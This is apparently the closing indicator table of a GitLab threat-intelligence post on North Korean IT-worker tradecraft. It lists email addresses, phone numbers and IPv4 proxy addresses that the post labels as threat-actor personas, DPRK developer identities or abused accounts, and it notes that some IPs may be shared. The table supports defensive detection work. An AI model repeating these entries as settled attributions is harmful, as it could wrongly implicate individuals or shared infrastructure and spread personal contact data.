N/A | Synthetic persona email | 2 |\n| `filipdamevski001@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `albertoszlar52@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `benjaminellertsson@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `fedorkadoic@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `izakholmberg12@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `markusvillig20@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `reigojakobson45@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `masudtarik69@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `vaikokangur45@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `osogovskiplanini001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `aleksonikov001@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `angelovaandreev@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `ivanopavic13@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `davorsabolic2@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `juricleon407@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `kondradgodzki@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `velizarborisov.fs@outlook.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `trivuniliikc519@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `alexandermori1218@gmail.com` | email | insider | N/A | N/A | Synthetic persona email | 2 |\n| `smupyknight@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `btrs.corp@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `byolate@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `starneit105@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `chrissamuel729@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `lozanvranic@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `qoneits@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `kitdb@outlook.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `d.musatovdv@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `nikola.radomic322@gmail.com` | email | insider | N/A | N/A | DPRK developer email | 2 |\n| `duykhanh.prodev@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `chebiinixon91@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `jeffukus@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `mohamed_dhifli@hotmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `saputranady@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `ryannguyen0303@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `fahrultect@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `patrickjuniorukutegbe@rocketmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `fahrultech@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `mirzayevorzu127@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `tsunaminori@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `yhwucss@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `btrs.corp@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `ledanglong@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `cwertlinks@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `bukoyesamuel9@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `gwanchi@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `efezinoukpowe@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `thnam0107@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `vijanakaush@gmail.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `luis.miguel208@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `smupyknight@outlook.com` | email | insider | N/A | N/A | Git mirror developer identity | 2 |\n| `brankojovovic99@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `manuetuazon.work@gmail.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `upwork.management.whm@outlook.com` | email | insider | N/A | N/A | Administrative/testing accounts on abused services | 2 |\n| `1.20.169.90` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.106.112.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.152.100.221` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.155.199.28` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.174.81.10` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.190.171.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `103.39.70.248` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `107.178.11.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `107.189.8.240` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `113.160.133.32` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `115.72.1.61` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `117.1.101.198` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `121.132.60.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `125.26.238.166` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `139.178.67.134` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `14.225.215.117` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `143.110.226.180` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `144.217.207.22` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `146.190.114.113` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `147.28.155.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `148.72.168.81` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.34` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.46` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.47` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.229.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.42` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.83` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.93` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `152.26.231.94` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `153.92.214.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `157.245.59.236` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `171.228.181.120` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `171.99.253.154` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `172.105.247.219` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `173.255.223.18` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `178.63.180.104` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `179.1.195.163` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `184.168.124.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `193.227.129.196` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `193.38.244.17` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `194.104.136.243` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `194.164.206.37` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `195.159.124.57` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `195.85.250.12` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `2.59.181.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `200.24.159.153` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `200.60.20.11` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `203.150.128.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `204.12.227.114` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `222.252.194.204` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `222.252.194.29` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `23.237.145.36` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `31.41.216.122` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `34.122.58.60` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `37.210.118.247` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `37.46.135.225` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `38.158.202.121` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `38.183.146.125` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `4.7.147.233` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.119.114.203` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.144.166.24` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.189.252.218` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `45.81.115.86` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `47.220.151.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `50.6.193.80` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `51.159.75.249` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `54.37.207.54` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `57.128.201.50` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `61.198.87.1` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `64.92.82.58` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `64.92.82.59` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.227.226` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.227.227` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.228.253` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.236.19` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `67.43.236.20` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.160.171` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.160.92` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `72.10.164.178` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `74.255.219.229` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `82.180.146.116` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `94.23.153.15` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `95.182.97.53` | ipv4 | insider | August 2024 | November 2024 | Threat actor proxy address (may be shared origin) | 2 |\n| `ryan.service.1001@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `dmbdev800@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `kari.dev1217@gmail` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `iamjanus66@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 3 |\n| `4696382784` | phone number | insider | N/A | N/A | Threat actor persona phone number | 3 |\n| `brianyoung.luck@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `codingwork.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jinwangdev531@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gdavisiv.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicolas.edgardo1028@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeilucky23@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aleksey0753@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `develop498@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `4899432@qq.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `karsonova1703@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maximmironenkoreact@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vitalyandronuke@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeysamsonofff@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `realnitii1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `devnitin18@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexiyevaj@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `initinbhardwaj@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anna.putinarus@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rajukumar127.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kekisevu@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `anastasiaanufriyenko@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `andriimalyshenko@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `gabrygreg1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luckydev2289@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `forfuture21@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darbylee923@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexei.lee0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `yuriassasin0603@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luis.lee.tech@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `bryanjsmiranda@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `luislee.software@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `panda95718@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `givometeq@mentonit.net` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maradanod.favomubo@vintomaper.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `humblechoice.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoalberto2208@hotmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `quxiujun520520@163.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `igorslobodyan508@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung.lucky@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `valerykrapiv@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dveretenov@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `blbnlambert34@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tezauidev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nicewitali0311@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `shopstar0907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `rl6700907@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `naterongi1@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexeu005@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `versatile.skydev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kevinhelan2@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `cglobalpower923002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `albertchess990919@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `lorenzo.vidal@mail.ru` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `stolic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `nkvasic5star@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `freelancer.honest.developer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `viana.mabel3058@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairo.business392@yahoo.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jairoacosta00123@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ferwerwe6@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `maskymlap@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `alexsam.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `kostiaberez369@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `darkrut22@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `jennalolly93@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `vikram.imenso@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `greg.work.pro@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `denish.faldu226@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `janeica.dev@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiuli@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `aronnokunjo@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `hadiulislam391@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdi39980@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mahdiupwork2002@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mdmahdiul@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `wildbotgamer@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.L@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `dyadkovdevelop@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `tramendo.M@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Gulfdom0209@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `Wei861420@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `brianyoung0203@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `david@heyadev.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `mykytadanylchenko@outlook.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `ronaldofanclub112@gmail.com` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `olegevgen@inbox.lt` | email | insider | N/A | N/A | Threat actor persona email | 4 |\n| `15414257086` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `89883507137` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `14358179097` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `3508704464` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `4796004206` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n| `5596103595` | phone number | insider | N/A | N/A | Threat actor persona phone number | 4 |\n",[9,23],{"featured":27,"template":13,"slug":742},"gitlab-threat-intelligence-reveals-north-korean-tradecraft",{"promotions":744},[745,759,770],{"id":746,"categories":747,"header":749,"text":750,"button":751,"image":756},"ai-modernization",[748],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":752,"config":753},"Get your AI maturity score",{"href":754,"dataGaName":755,"dataGaLocation":241},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":757},{"src":758},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":760,"categories":761,"header":762,"text":750,"button":763,"image":767},"devops-modernization",[728,557],"Are you just managing tools or shipping innovation?",{"text":764,"config":765},"Get your DevOps maturity score",{"href":766,"dataGaName":755,"dataGaLocation":241},"/assessments/devops-modernization-assessment/",{"config":768},{"src":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":771,"categories":772,"header":773,"text":750,"button":774,"image":778},"security-modernization",[9],"Are you trading speed for security?",{"text":775,"config":776},"Get your security maturity score",{"href":777,"dataGaName":755,"dataGaLocation":241},"/assessments/security-modernization-assessment/",{"config":779},{"src":780},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":782,"blurb":783,"button":784,"secondaryButton":789},"Start building faster today","See what your team can do with the intelligent orchestration platform for DevSecOps.\n",{"text":785,"config":786},"Get your free trial",{"href":787,"dataGaName":48,"dataGaLocation":788},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":493,"config":790},{"href":52,"dataGaName":53,"dataGaLocation":788},1772652076462]